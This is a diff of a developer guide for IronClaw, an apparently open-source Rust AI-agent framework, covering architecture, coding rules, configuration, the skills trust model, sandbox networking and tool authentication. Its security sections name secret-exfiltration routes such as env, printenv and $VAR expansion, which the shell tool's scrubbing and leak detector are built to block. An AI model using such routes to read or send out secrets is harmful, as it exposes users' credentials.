│ ├── document.rs # MemoryDocument, MemoryChunk, WorkspaceEntry
@@ -244,48 +139,14 @@ src/
│ ├── success.rs # SuccessEvaluator trait, RuleBasedEvaluator, LlmEvaluator
│ └── metrics.rs # MetricsCollector, QualityMetrics
├── sandbox/ # Docker execution sandbox
│ ├── mod.rs # Public API, default allowlist
│ ├── config.rs # SandboxConfig, SandboxPolicy enum
│ ├── manager.rs # SandboxManager orchestration
│ ├── container.rs # ContainerRunner, Docker lifecycle
│ ├── error.rs # SandboxError types
│ └── proxy/ # Network proxy for containers
│ ├── mod.rs # NetworkProxyBuilder
│ ├── http.rs # HttpProxy, CredentialResolver trait
│ ├── policy.rs # NetworkPolicyDecider trait
│ └── allowlist.rs # DomainAllowlist validation
├── secrets/ # Secrets management
│ ├── mod.rs # SecretsStore trait, public API
│ ├── types.rs # Core types (Secret, SecretRef, SecretMetadata)
│ ├── crypto.rs # AES-256-GCM encryption
│ ├── keychain.rs # OS keychain integration (macOS Keychain, GNOME Keyring) for master key
│ └── store.rs # Encrypted secret storage
├── setup/ # Onboarding wizard (spec: src/setup/README.md)
│ ├── mod.rs # Entry point, check_onboard_needed()
│ ├── wizard.rs # 7-step interactive wizard
│ ├── channels.rs # Channel setup helpers
│ └── prompts.rs # Terminal prompts (select, confirm, secret)
├── skills/ # SKILL.md prompt extension system
│ ├── mod.rs # Core types (SkillTrust, LoadedSkill)
│ ├── registry.rs # SkillRegistry: discover, install, remove
│ ├── selector.rs # Deterministic scoring prefilter
│ ├── attenuation.rs # Trust-based tool ceiling
│ ├── gating.rs # Requirement checks (bins, env, config)
│ ├── parser.rs # SKILL.md frontmatter + markdown parser
│ └── catalog.rs # ClawHub registry client
│ ├── store.rs # Secret storage
│ └── types.rs # Credential types
└── history/ # Persistence
├── store.rs # PostgreSQL repositories
└── analytics.rs # Aggregation queries (JobStats, ToolStats)
tests/
├── *.rs # Integration tests (workspace, heartbeat, WS gateway, pairing, etc.)
├── test-pages/ # HTML→Markdown conversion fixtures (CNN, Medium, Yahoo)
└── e2e/ # Python/Playwright E2E scenarios (see tests/e2e/CLAUDE.md)
```
## Key Patterns
@@ -296,9 +157,8 @@ When designing new features or systems, always prefer generic/extensible archite
### Error Handling
- Use `thiserror` for error types in `error.rs`
- Never use `.unwrap()` or `.expect()` in production code (tests are fine)
- Never use `.unwrap()` in production code (tests are fine)
- Map errors with context: `.map_err(|e| SomeError::Variant { reason: e.to_string() })?`
- Before committing, grep for `.unwrap()` and `.expect(` in changed files to catch violations mechanically
### Async
- All I/O is async with tokio
@@ -306,16 +166,11 @@ When designing new features or systems, always prefer generic/extensible archite
- Use `RwLock` for concurrent read/write access
### Traits for Extensibility
- `Database` - Add new database backends (must implement all ~78 methods)
- `Channel` - Add new input sources
- `Tool` - Add new capabilities
- `LlmProvider` - Add new LLM backends
- `SuccessEvaluator` - Custom evaluation logic
- `EmbeddingProvider` - Add embedding backends (workspace search)
- `NetworkPolicyDecider` - Custom network access policies for sandbox containers
- `Hook` - Lifecycle hook at 6 interception points (BeforeInbound, BeforeToolCall, BeforeOutbound, OnSessionStart, OnSessionEnd, TransformResponse)
- `Observer` - Observability backend (noop/log/multi; future: OpenTelemetry, Prometheus)
- `Tunnel` - Tunnel provider for public internet exposure
### Tool Implementation
```rust
@@ -354,80 +209,16 @@ Pending -> InProgress -> Completed -> Submitted -> Accepted
\-> Failed
```
### Code Style
- Use `crate::` imports, not `super::`
- No `pub use` re-exports unless exposing to downstream consumers
- Prefer strong types over strings (enums, newtypes)
- Keep functions focused, extract helpers when logic is reused
- Comments for non-obvious logic only
### Review & Fix Discipline
Hard-won lessons from code review -- follow these when fixing bugs or addressing review feedback.
**Fix the pattern, not just the instance:** When a reviewer flags a bug (e.g., TOCTOU race in INSERT + SELECT-back), search the entire codebase for all instances of that same pattern. A fix in `SecretsStore::create()` that doesn't also fix `WasmToolStore::store()` is half a fix.
**Propagate architectural fixes to satellite types:** If a core type changes its concurrency model (e.g., `LibSqlBackend` switches to connection-per-operation), every type that was handed a resource from the old model (e.g., `LibSqlSecretsStore`, `LibSqlWasmToolStore` holding a single `Connection`) must also be updated. Grep for the old type across the codebase.
**Schema translation is more than DDL:** When translating a database schema between backends (PostgreSQL to libSQL, etc.), check for:
- **Indexes** -- diff `CREATE INDEX` statements between the two schemas
- **Seed data** -- check for `INSERT INTO` in migrations (e.g., `leak_detection_patterns`)
- **Semantic differences** -- document where SQL functions behave differently (e.g., `json_patch` vs `jsonb_set`)
**Feature flag testing:** When adding feature-gated code, test compilation with each feature in isolation:
```bash
cargo check # default features
cargo check --no-default-features --features libsql # libsql only
cargo check --all-features # all features
```
Dead code behind the wrong `#[cfg]` gate will only show up when building with a single feature.
**Regression test with every fix:** Every bug fix must include a test that would have caught the bug. Add a `#[test]` or `#[tokio::test]` that reproduces the original failure. Exempt: changes limited to `src/channels/web/static/` or `.md` files. Use `[skip-regression-check]` in commit message or PR label if genuinely not feasible. The `commit-msg` hook and CI workflow enforce this automatically.
**Zero clippy warnings policy:** Fix ALL clippy warnings before committing, including pre-existing ones in files you didn't change. Never leave warnings behind — treat `cargo clippy` output as a zero-tolerance gate.
**Transaction safety:** Multi-step database operations (INSERT+INSERT, UPDATE+DELETE, read-then-write) MUST be wrapped in a transaction. Never assume sequential calls are atomic. Before committing DB code, ask: "If this crashes between step N and N+1, is the database consistent?" If not, wrap in a transaction. This applies to both postgres and libsql backends.
**UTF-8 string safety:** Never use byte-index slicing (`&s[..n]`) on user-supplied or external strings — it panics on multi-byte characters. Use `is_char_boundary()` to walk backwards from the desired length, or iterate with `char_indices()`. Grep for `[..` in changed files to catch violations.
**Case-insensitive comparisons:** When comparing user-supplied strings (file paths, media types, extension names), always normalize to lowercase first with `.to_ascii_lowercase()`. On case-insensitive filesystems (macOS, Windows), path comparisons must be case-insensitive. File extension checks (`.png`, `.jpg`) and media type checks (`image/jpeg`) are common offenders.
**Decorator/wrapper trait delegation:** When adding a new method to `LlmProvider` (or any trait with decorator wrappers), you MUST update ALL wrapper types to delegate to their inner provider. Grep for `impl LlmProvider for` to find all implementations. Add a test that exercises the method through the full provider chain (`build_provider_chain()`), not just the base impl.
**Sensitive data in logs & events:** Tool parameters and outputs MUST be redacted before logging or broadcasting via SSE/WebSocket. Use `redact_params()` before any `tracing::info!`, `JobEvent`, or SSE emission that includes tool call data. Never log raw parameters from tool calls.
**Test temporary files:** Use the `tempfile` crate for test directories/files. Never hardcode `/tmp/...` paths — they collide in parallel test runs and break on non-Unix platforms.
**Trust boundaries in multi-process architecture:** Data from worker containers is untrusted. The orchestrator MUST validate: tool domain (never execute `Container`-domain tools on the host), nesting depth (server-side tracking, not client-supplied), and parameter sensitivity (redact before logging/broadcasting).
**Mechanical verification before committing:** Run these checks on changed files before committing:
- `cargo clippy --all --benches --tests --examples --all-features` -- zero warnings
- `grep -rnE '\.unwrap\(|\.expect\(' <files>` -- no panics in production
- `grep -rn 'super::' <files>` -- use `crate::` imports
- If you fixed a pattern bug, `grep` for other instances of that pattern across `src/`
- Fix commits must include regression tests (enforced by `commit-msg` hook; bypass with `[skip-regression-check]`)
- Run `scripts/pre-commit-safety.sh` to catch UTF-8, case-sensitivity, hardcoded /tmp, and logging issues
## Configuration
Environment variables (see `.env.example`):
```bash
# Database backend (default: postgres)
DATABASE_BACKEND=postgres # or "libsql" / "turso"
DATABASE_URL=postgres://user:pass@localhost/ironclaw
LIBSQL_PATH=~/.ironclaw/ironclaw.db # libSQL local path (default)
# LIBSQL_URL=libsql://xxx.turso.io # Turso cloud (optional)
# LIBSQL_AUTH_TOKEN=xxx # Required with LIBSQL_URL
# NEAR AI (when LLM_BACKEND=nearai, the default)
# Two auth modes: session token (default) or API key
# Session token auth (default): uses browser OAuth on first run
NEARAI_SESSION_TOKEN=sess_... # hosting providers: set this
NEARAI_BASE_URL=https://private.near.ai
# API key auth: set NEARAI_API_KEY, base URL defaults to cloud-api.near.ai
# NEARAI_API_KEY=... # API key from cloud.near.ai
# NEAR AI (required)
NEARAI_SESSION_TOKEN=sess_...
NEARAI_MODEL=claude-3-5-sonnet-20241022
NEARAI_BASE_URL=https://private.near.ai
# Agent settings
AGENT_NAME=ironclaw
@@ -445,75 +236,37 @@ HEARTBEAT_ENABLED=true
HEARTBEAT_INTERVAL_SECS=1800 # 30 minutes
HEARTBEAT_NOTIFY_CHANNEL=tui
HEARTBEAT_NOTIFY_USER=default
# Web gateway
GATEWAY_ENABLED=true
GATEWAY_HOST=127.0.0.1
GATEWAY_PORT=3001
GATEWAY_AUTH_TOKEN=changeme # Required for API access
GATEWAY_USER_ID=default
# Docker sandbox
SANDBOX_ENABLED=true
SANDBOX_IMAGE=ironclaw-worker:latest
SANDBOX_MEMORY_LIMIT_MB=512
SANDBOX_TIMEOUT_SECS=1800
SANDBOX_CPU_LIMIT=1.0 # CPU cores per container
SANDBOX_NETWORK_PROXY=true # Enable network proxy for containers
SANDBOX_PROXY_PORT=8080 # Proxy listener port
SANDBOX_DEFAULT_POLICY=workspace_write # ReadOnly, WorkspaceWrite, FullAccess
# Claude Code mode (runs inside sandbox containers)
CLAUDE_CODE_ENABLED=false
CLAUDE_CODE_MODEL=claude-sonnet-4-20250514
CLAUDE_CODE_MAX_TURNS=50
CLAUDE_CODE_CONFIG_DIR=/home/worker/.claude
# Routines (scheduled/reactive execution)
ROUTINES_ENABLED=true
ROUTINES_CRON_INTERVAL=60 # Tick interval in seconds
ROUTINES_MAX_CONCURRENT=3
# Skills system
SKILLS_ENABLED=true
SKILLS_MAX_TOKENS=4000 # Max prompt budget per turn
SKILLS_CATALOG_URL=https://clawhub.dev # ClawHub registry URL
SKILLS_AUTO_DISCOVER=true # Scan skill directories on startup
# Tinfoil private inference
TINFOIL_API_KEY=... # Required when LLM_BACKEND=tinfoil
TINFOIL_MODEL=kimi-k2-5 # Default model
# Tunnel (public internet exposure for webhooks)
TUNNEL_URL=https://abc123.ngrok.io # Static public URL (manual tunnel)
# Or use a managed tunnel provider:
TUNNEL_PROVIDER=none # none (default), cloudflare, tailscale, ngrok, custom
TUNNEL_CF_TOKEN=... # Required for TUNNEL_PROVIDER=cloudflare
TUNNEL_NGROK_TOKEN=... # Required for TUNNEL_PROVIDER=ngrok
# TUNNEL_NGROK_DOMAIN=... # Custom domain (paid ngrok plan)
# TUNNEL_TS_FUNNEL=true # Use tailscale funnel (public) vs serve (tailnet)
TUNNEL_CUSTOM_COMMAND=... # Command with {host}/{port} for custom providers
# Observability backend
OBSERVABILITY_BACKEND=none # none/noop (default) or log
```
### LLM Providers
### NEAR AI Provider
Backends: `nearai` (default), `openai`, `anthropic`, `ollama`, `openai_compatible`, `tinfoil` — set via `LLM_BACKEND`. See [src/llm/CLAUDE.md](src/llm/CLAUDE.md) for per-provider auth and configuration details.
Uses the NEAR AI chat-api (`https://api.near.ai/v1/responses`) which provides:
- Unified access to multiple models (OpenAI, Anthropic, etc.)
- User authentication via session tokens
- Usage tracking and billing through NEAR AI
Session tokens have the format `sess_xxx` (37 characters). They are authenticated against the NEAR AI auth service.
## Database
Dual-backend persistence (PostgreSQL + libSQL/Turso). **All new persistence features must support both backends** — see [src/db/CLAUDE.md](src/db/CLAUDE.md) for schema, SQL dialect differences, adding operations, and libSQL limitations.
Single migration in `migrations/V1__initial.sql`. Tables:
Implement every new operation in both `src/db/postgres.rs` and `src/db/libsql/mod.rs`. Test in isolation:
```bash
cargo check # postgres (default)
cargo check --no-default-features --features libsql # libsql only
cargo check --all-features # both
```
**Core:**
- `conversations` - Multi-channel conversation tracking
- `agent_jobs` - Job metadata and status
- `job_actions` - Event-sourced tool executions
- `dynamic_tools` - Agent-built tools
- `llm_calls` - Cost tracking
- `estimation_snapshots` - Learning data
Database configuration: see Configuration section above.
**Workspace/Memory:**
- `memory_documents` - Flexible path-based files (e.g., "context/vision.md", "daily/2024-01-15.md")
- `memory_chunks` - Chunked content with FTS (tsvector) and vector (pgvector) indexes
- `heartbeat_state` - Periodic execution tracking
Requires pgvector extension: `CREATE EXTENSION IF NOT EXISTS vector;`
Run migrations: `refinery migrate -c refinery.toml`
## Safety Layer
@@ -521,7 +274,6 @@ All external tool output passes through `SafetyLayer`:
1. **Sanitizer** - Detects injection patterns, escapes dangerous content
2. **Validator** - Checks length, encoding, forbidden patterns
3. **Policy** - Rules with severity (Critical/High/Medium/Low) and actions (Block/Warn/Review/Sanitize)
4. **Leak Detector** - Scans for 15+ secret patterns (API keys, tokens, private keys, connection strings) at two points: tool output before it reaches the LLM, and LLM responses before they reach the user. Actions per pattern: Block (reject entirely), Redact (mask the secret), or Warn (flag but allow)
Tool outputs are wrapped before reaching LLM:
```xml
@@ -530,99 +282,6 @@ Tool outputs are wrapped before reaching LLM:
</tool_output>
```
### Shell Environment Scrubbing
The shell tool (`src/tools/builtin/shell.rs`) scrubs sensitive environment variables before executing commands, preventing secrets from leaking through `env`, `printenv`, or `$VAR` expansion. The sanitizer (`src/safety/sanitizer.rs`) also detects command injection patterns (chained commands, subshells, path traversal) and blocks or escapes them based on policy rules.
## Skills System
Skills are SKILL.md files that extend the agent's prompt with domain-specific instructions. Each skill is a YAML frontmatter block (metadata, activation criteria, required tools) followed by a markdown body that gets injected into the LLM context when the skill activates.
### Trust Model
| Trust Level | Source | Tool Access |
|-------------|--------|-------------|
| **Trusted** | User-placed in `~/.ironclaw/skills/` or workspace `skills/` | All tools available to the agent |
| **Installed** | Downloaded from ClawHub registry | Read-only tools only (no shell, file write, HTTP) |
### SKILL.md Format
```yaml
---
name: my-skill
version: 0.1.0
description: Does something useful
activation:
patterns:
- "deploy to.*production"
keywords:
- "deployment"
max_context_tokens: 2000
metadata:
openclaw:
requires:
bins: [docker, kubectl]
env: [KUBECONFIG]
---
# Deployment Skill
Instructions for the agent when this skill activates...
```
### Selection Pipeline
1. **Gating** -- Check binary/env/config requirements; skip skills whose prerequisites are missing
2. **Scoring** -- Deterministic scoring against message content using keywords, tags, and regex patterns
3. **Budget** -- Select top-scoring skills that fit within `SKILLS_MAX_TOKENS` prompt budget
4. **Attenuation** -- Apply trust-based tool ceiling; installed skills lose access to dangerous tools
### Skill Tools
Four built-in tools for managing skills at runtime:
- **`skill_list`** -- List all discovered skills with trust level and status
- **`skill_search`** -- Search ClawHub registry for available skills
- **`skill_install`** -- Download and install a skill from ClawHub
- **`skill_remove`** -- Remove an installed skill
### Skill Directories
- `~/.ironclaw/skills/` -- User's global skills (trusted)
- `<workspace>/skills/` -- Per-workspace skills (trusted)
- `~/.ironclaw/installed_skills/` -- Registry-installed skills (installed trust)
### Testing Skills
- `skills/web-ui-test/` -- Manual test checklist for the web gateway UI via Claude for Chrome extension. Covers connection, chat, skills search/install/remove, and other tabs.
Skills configuration: see Configuration section above.
## Docker Sandbox
The `src/sandbox/` module provides Docker-based isolation for job execution with a network proxy that controls outbound access and injects credentials.
### Sandbox Policies
| Policy | Filesystem | Network | Use Case |
|--------|-----------|---------|----------|
| **ReadOnly** | Read-only workspace mount | Allowlisted domains only | Analysis, code review |
| **WorkspaceWrite** | Read-write workspace mount | Allowlisted domains only | Code generation, file edits |
| **FullAccess** | Full filesystem | Unrestricted | Trusted admin tasks |
### Network Proxy
Containers route all HTTP/HTTPS traffic through a host-side proxy (`src/sandbox/proxy/`):
- **Domain allowlist** -- Only allowlisted domains are reachable (default: package registries, docs sites, GitHub, common APIs)
- **Credential injection** -- The `CredentialResolver` trait injects auth headers into proxied requests so secrets never enter the container environment
- **CONNECT tunnel** -- HTTPS traffic uses CONNECT method; the proxy validates the target domain against the allowlist before establishing the tunnel
- **Policy decisions** -- The `NetworkPolicyDecider` trait allows custom logic for allow/deny/inject decisions per request
### Zero-Exposure Credential Model
Secrets (API keys, tokens) are stored encrypted on the host and injected into HTTP requests by the proxy at transit time. Container processes never have access to raw credential values, preventing exfiltration even if container code is compromised.
Sandbox configuration: see Configuration section above.
## Testing
Tests are in `mod tests {}` blocks at the bottom of each file. Run specific module tests:
@@ -638,29 +297,171 @@ Key test patterns:
## Current Limitations / TODOs
1. **Domain-specific tools** - `marketplace.rs`, `restaurant.rs`, `taskrabbit.rs`, `ecommerce.rs` return placeholder responses; need real API integrations
2. **Integration tests** - Need testcontainers setup for PostgreSQL
3. **MCP stdio transport** - Only HTTP transport implemented
4. **WIT bindgen integration** - Auto-extract tool description/schema from WASM modules (stubbed)
5. **Capability granting after tool build** - Built tools get empty capabilities; need UX for granting HTTP/secrets access
6. **Tool versioning workflow** - No version tracking or rollback for dynamically built tools
7. **Full channel status view** - Gateway status widget exists, but no per-channel connection dashboard
8. **Observability backends** - Only `log` and `noop` implemented; OpenTelemetry/Prometheus not yet supported
1. **Slack/Telegram channels** - Stubs only, need implementation
2. **Domain-specific tools** - `marketplace.rs`, `restaurant.rs`, `taskrabbit.rs`, `ecommerce.rs` return placeholder responses; need real API integrations
3. **Integration tests** - Need testcontainers setup for PostgreSQL
4. **MCP stdio transport** - Only HTTP transport implemented
5. **WIT bindgen integration** - Auto-extract tool description/schema from WASM modules (stubbed)
6. **Capability granting after tool build** - Built tools get empty capabilities; need UX for granting HTTP/secrets access
7. **Tool versioning workflow** - No version tracking or rollback for dynamically built tools
## Tool Architecture
### Completed
**Keep tool-specific logic out of the main agent codebase.** The main agent provides generic infrastructure; tools are self-contained units that declare their requirements through `capabilities.json` files (API endpoints, credentials, rate limits, auth setup). Service-specific auth flows, CLI commands, and configuration do not belong in the main agent.
-**Workspace integration** - Memory tools registered, workspace passed to Agent and heartbeat
-**WASM sandboxing** - Full implementation in `tools/wasm/` with fuel metering, memory limits, capabilities
-**Dynamic tool building** - `tools/builder/` has LlmSoftwareBuilder with iterative build loop
-**HTTP webhook security** - Secret validation implemented, proper error handling (no panics)
-**Embeddings integration** - OpenAI and NEAR AI providers wired to workspace for semantic search
-**Workspace system prompt** - Identity files (AGENTS.md, SOUL.md, USER.md, IDENTITY.md) injected into LLM context
-**Heartbeat notifications** - Route through channel manager (broadcast API) instead of logging-only
-**Auto-context compaction** - Triggers automatically when context exceeds threshold
-**Embedding backfill** - Runs on startup when embeddings provider is enabled
-**Clippy clean** - All warnings addressed via config struct refactoring
-**Tool approval enforcement** - Tools with `requires_approval()` (shell, http, file write/patch, build_software) now gate execution, track auto-approved tools per session
-**Tool definition refresh** - Tool definitions refreshed each iteration so newly built tools become visible in same session
-**Worker tool call handling** - Uses `respond_with_tools()` to properly execute tool calls when `select_tools()` returns empty
Tools can be built as **WASM** (sandboxed, credential-injected, single binary) or **MCP servers** (ecosystem of pre-built servers, any language, but no sandbox). Both are first-class via `ironclaw tool install`. Auth is declared in capabilities files with OAuth and manual token entry support.
## Adding a New Tool
See `src/tools/README.md` for full tool architecture, adding new tools (built-in Rust and WASM), auth JSON examples, and WASM vs MCP decision guide.
### Built-in Tools (Rust)
1. Create `src/tools/builtin/my_tool.rs`
2. Implement the `Tool` trait
3. Add `mod my_tool;` and `pub use` in `src/tools/builtin/mod.rs`
4. Register in `ToolRegistry::register_builtin_tools()` in `registry.rs`
5. Add tests
### WASM Tools (Recommended)
WASM tools are the preferred way to add new capabilities. They run in a sandboxed environment with explicit capabilities.
1. Create a new crate in `tools-src/<name>/`
2. Implement the WIT interface (`wit/tool.wit`)
3. Create `<name>.capabilities.json` declaring required permissions
4. Build with `cargo build --target wasm32-wasip2 --release`
5. Install with `ironclaw tool install path/to/tool.wasm`
See `tools-src/` for examples.
## Tool Architecture Principles
**CRITICAL: Keep tool-specific logic out of the main agent codebase.**
The main agent provides generic infrastructure; tools are self-contained units that declare their requirements through capabilities files.
### What Goes in Tools (capabilities.json)
- API endpoints the tool needs (HTTP allowlist)
- Credentials required (secret names, injection locations)
- Rate limits and timeouts
- Auth setup instructions (see below)
- Workspace paths the tool can read
### What Does NOT Go in Main Agent
- Service-specific auth flows (OAuth for Notion, Slack, etc.)
- Service-specific CLI commands (`auth notion`, `auth slack`)
- Service-specific configuration handling
- Hardcoded API URLs or token formats
### Tool Authentication
Tools declare their auth requirements in `<tool>.capabilities.json` under the `auth` section. Two methods are supported:
#### OAuth (Browser-based login)
For services that support OAuth, users just click through browser login:
```json
{
"auth": {
"secret_name": "notion_api_token",
"display_name": "Notion",
"oauth": {
"authorization_url": "https://api.notion.com/v1/oauth/authorize",
"token_url": "https://api.notion.com/v1/oauth/token",
"client_id_env": "NOTION_OAUTH_CLIENT_ID",
"client_secret_env": "NOTION_OAUTH_CLIENT_SECRET",
"scopes": [],
"use_pkce": false,
"extra_params": { "owner": "user" }
},
"env_var": "NOTION_TOKEN"
}
}
```
To enable OAuth for a tool:
1. Register a public OAuth app with the service (e.g., notion.so/my-integrations)
2. Configure redirect URIs: `http://localhost:9876/callback` through `http://localhost:9886/callback`
3. Set environment variables for client_id and client_secret
#### Manual Token Entry (Fallback)
For services without OAuth or when OAuth isn't configured:
```json
{
"auth": {
"secret_name": "openai_api_key",
"display_name": "OpenAI",
"instructions": "Get your API key from platform.openai.com/api-keys",
"setup_url": "https://platform.openai.com/api-keys",
"token_hint": "Starts with 'sk-'",
"env_var": "OPENAI_API_KEY"
}
}
```
#### Auth Flow Priority
When running `ironclaw tool auth <tool>`:
1. Check `env_var` - if set in environment, use it directly
2. Check `oauth` - if configured, open browser for OAuth flow
3. Fall back to `instructions` + manual token entry
The agent reads auth config from the tool's capabilities file and provides the appropriate flow. No service-specific code in the main agent.
### WASM Tools vs MCP Servers: When to Use Which
Both are first-class in the extension system (`ironclaw tool install` handles both), but they have different strengths.
**WASM Tools (IronClaw native)**
- Sandboxed: fuel metering, memory limits, no access except what's allowlisted
- Credentials injected by host runtime, tool code never sees the actual token
- Output scanned for secret leakage before returning to the LLM
- Auth (OAuth/manual) declared in `capabilities.json`, agent handles the flow
- Single binary, no process management, works offline
- Cost: must build yourself in Rust, no ecosystem, synchronous only
**MCP Servers (Model Context Protocol)**
- Growing ecosystem of pre-built servers (GitHub, Notion, Postgres, etc.)
- Any language (TypeScript/Python most common)
- Can do websockets, streaming, background polling
- Cost: external process with full system access (no sandbox), manages own credentials, IronClaw can't prevent leaks
**Decision guide:**
| Scenario | Use |
|----------|-----|
| Good MCP server already exists | **MCP** |
| Handles sensitive credentials (email send, banking) | **WASM** |
| Quick prototype or one-off integration | **MCP** |
| Core capability you'll maintain long-term | **WASM** |
| Needs background connections (websockets, polling) | **MCP** |
| Multiple tools share one OAuth token (e.g., Google suite) | **WASM** |
The LLM-facing interface is identical for both (tool name, schema, execute), so swapping between them is transparent to the agent.
## Adding a New Channel
1. Create `src/channels/my_channel.rs`
2. Implement the `Channel` trait
3. Add config in `src/config/channels.rs`
4. Wire up in `src/app.rs` channel setup section
3. Add config in `src/config.rs`
4. Wire up in `main.rs` channel setup section
## Debugging
@@ -675,35 +476,118 @@ RUST_LOG=ironclaw::agent=debug cargo run
RUST_LOG=ironclaw=debug,tower_http=debug cargo run
```
## Module Specifications
## Code Style
Some modules have a `README.md` that serves as the authoritative specification
for that module's behavior. When modifying code in a module that has a spec:
1. **Read the spec first** before making changes
2. **Code follows spec**: if the spec says X, the code must do X
3. **Update both sides**: if you change behavior, update the spec to match;
if you're implementing a spec change, update the code to match
4. **Spec is the tiebreaker**: when code and spec disagree, the spec is correct
(unless the spec is clearly outdated, in which case fix the spec first)
| Module | Spec File |
|--------|-----------|
| `src/setup/` | `src/setup/README.md` |
| `src/workspace/` | `src/workspace/README.md` |
| `src/tools/` | `src/tools/README.md` |
| `src/agent/` | `src/agent/CLAUDE.md` |
| `src/channels/web/` | `src/channels/web/CLAUDE.md` |
| `src/db/` | `src/db/CLAUDE.md` |
| `src/llm/` | `src/llm/CLAUDE.md` |
| `tests/e2e/` | `tests/e2e/CLAUDE.md` |
- Use `crate::` imports, not `super::`
- No `pub use` re-exports unless exposing to downstream consumers
- Prefer strong types over strings (enums, newtypes)
- Keep functions focused, extract helpers when logic is reused
- Comments for non-obvious logic only
## Workspace & Memory System
OpenClaw-inspired persistent memory with a flexible filesystem-like structure. Principle: "Memory is database, not RAM" -- if you want to remember something, write it explicitly. Uses hybrid search combining FTS (keyword) + vector (semantic) via Reciprocal Rank Fusion.
Inspired by [OpenClaw](https://github.com/openclaw/openclaw), the workspace provides persistent memory for agents with a flexible filesystem-like structure.
Four memory tools for LLM use: `memory_search` (hybrid search -- call before answering questions about prior work), `memory_write`, `memory_read`, `memory_tree`. Identity files (AGENTS.md, SOUL.md, USER.md, IDENTITY.md) are injected into the LLM system prompt.
### Key Principles
The heartbeat system runs proactive periodic execution (default: 30 minutes), reading `HEARTBEAT.md` and notifying via channel if findings are detected.
1. **"Memory is database, not RAM"** - If you want to remember something, write it explicitly
2. **Flexible structure** - Create any directory/file hierarchy you need
3. **Self-documenting** - Use README.md files to describe directory structure
4. **Hybrid search** - Combines FTS (keyword) + vector (semantic) via Reciprocal Rank Fusion
See `src/workspace/README.md` for full API documentation, filesystem structure, hybrid search details, chunking strategy, and heartbeat system.
### Filesystem Structure
```
workspace/
├── README.md <- Root runbook/index
├── MEMORY.md <- Long-term curated memory
├── HEARTBEAT.md <- Periodic checklist
├── IDENTITY.md <- Agent name, nature, vibe
├── SOUL.md <- Core values
├── AGENTS.md <- Behavior instructions
├── USER.md <- User context
├── context/ <- Identity-related docs
│ ├── vision.md
│ └── priorities.md
├── daily/ <- Daily logs
│ ├── 2024-01-15.md
│ └── 2024-01-16.md
├── projects/ <- Arbitrary structure
│ └── alpha/
│ ├── README.md
│ └── notes.md
└── ...
```
### Using the Workspace
```rust
use crate::workspace::{Workspace, OpenAiEmbeddings, paths};
// Create workspace for a user
let workspace = Workspace::new("user_123", pool)
.with_embeddings(Arc::new(OpenAiEmbeddings::new(api_key)));
// Read/write any path
let doc = workspace.read("projects/alpha/notes.md").await?;
workspace.write("context/priorities.md", "# Priorities\n\n1. Feature X").await?;
workspace.append("daily/2024-01-15.md", "Completed task X").await?;
// Convenience methods for well-known files
workspace.append_memory("User prefers dark mode").await?;
workspace.append_daily_log("Session note").await?;
// List directory contents
let entries = workspace.list("projects/").await?;
// Search (hybrid FTS + vector)
let results = workspace.search("dark mode preference", 5).await?;
// Get system prompt from identity files
let prompt = workspace.system_prompt().await?;
```
### Memory Tools
Four tools for LLM use:
- **`memory_search`** - Hybrid search, MUST be called before answering questions about prior work
- **`memory_write`** - Write to any path (memory, daily_log, or custom paths)
- **`memory_read`** - Read any file by path
- **`memory_tree`** - View workspace structure as a tree (depth parameter, default 1)
### Hybrid Search (RRF)
Combines full-text search (PostgreSQL `ts_rank_cd`) and vector similarity (pgvector cosine) using Reciprocal Rank Fusion:
```
score(d) = Σ 1/(k + rank(d)) for each method where d appears
```
Default k=60. Results from both methods are combined, with documents appearing in both getting boosted scores.
### Heartbeat System
Proactive periodic execution (default: 30 minutes):
1. Reads `HEARTBEAT.md` checklist
2. Runs agent turn with checklist prompt
3. If findings, notifies via channel
4. If nothing, agent replies "HEARTBEAT_OK" (no notification)
```rust
use crate::agent::{HeartbeatConfig, spawn_heartbeat};
let config = HeartbeatConfig::default()
.with_interval(Duration::from_secs(60 * 30))
.with_notify("user_123", "telegram");
spawn_heartbeat(config, workspace, llm, response_tx);
```
### Chunking Strategy
Documents are chunked for search indexing:
- Default: 800 words per chunk (roughly 800 tokens for English)
- 15% overlap between chunks for context preservation
- Minimum chunk size: 50 words (tiny trailing chunks merge with previous)
-862
View File
@@ -1,862 +0,0 @@
# IronClaw Coverage Plan: 63.3% to 95%
> Generated 2025-03-06 from [Codecov](https://app.codecov.io/gh/nearai/ironclaw/tree/main/src)
## Current State
| Metric | Value |
|--------|-------|
| **Current coverage** | 48,571 / 76,694 lines = **63.33%** |
| **Target** | 72,859 / 76,694 lines = **95.0%** |
| **Gap** | **24,288 lines** need coverage |
| **Files >= 95%** | 43 / 239 |
| **Files < 95%** | 196 (27,872 total misses) |
## Module Summary
Sorted by uncovered lines (descending):
| Module | Lines | Hits | Miss | Coverage | Priority |
|--------|------:|-----:|-----:|---------:|----------|
| `channels/` | 14,079 | 8,677 | 5,402 | 61.6% | P0 |
| `tools/` | 13,445 | 9,407 | 4,038 | 70.0% | P1 |
| `agent/` | 9,152 | 6,096 | 3,056 | 66.6% | P0 |
| `setup/` | 3,005 | 462 | 2,543 | 15.4% | P1 |
| `extensions/` | 3,540 | 1,298 | 2,242 | 36.7% | P0 |
| `cli/` | 2,834 | 697 | 2,137 | 24.6% | P1 |
| `history/` | 1,626 | 0 | 1,626 | 0.0% | P0 |
| `llm/` | 7,029 | 5,776 | 1,253 | 82.2% | P2 |
| `(root)` | 4,122 | 3,121 | 1,001 | 75.7% | P2 |
| `worker/` | 1,274 | 480 | 794 | 37.7% | P1 |
| `sandbox/` | 1,615 | 897 | 718 | 55.5% | P2 |
| `registry/` | 1,588 | 1,107 | 481 | 69.7% | P2 |
| `db/` | 921 | 441 | 480 | 47.9% | P1 |
| `workspace/` | 2,006 | 1,584 | 422 | 79.0% | P2 |
| `orchestrator/` | 1,199 | 795 | 404 | 66.3% | P2 |
| `config/` | 1,464 | 1,095 | 369 | 74.8% | P2 |
| `hooks/` | 1,379 | 1,081 | 298 | 78.4% | P2 |
| `secrets/` | 687 | 407 | 280 | 59.2% | P2 |
| `skills/` | 1,714 | 1,585 | 129 | 92.5% | P3 |
| `context/` | 693 | 586 | 107 | 84.6% | P3 |
| `estimation/` | 467 | 369 | 98 | 79.0% | P3 |
| `safety/` | 1,424 | 1,337 | 87 | 93.9% | P3 |
| `evaluation/` | 226 | 152 | 74 | 67.3% | P3 |
| `pairing/` | 498 | 446 | 52 | 89.6% | P3 |
| `tunnel/` | 391 | 368 | 23 | 94.1% | P3 |
| `observability/` | 316 | 307 | 9 | 97.2% | Done |
## Top 40 Files by Uncovered Lines
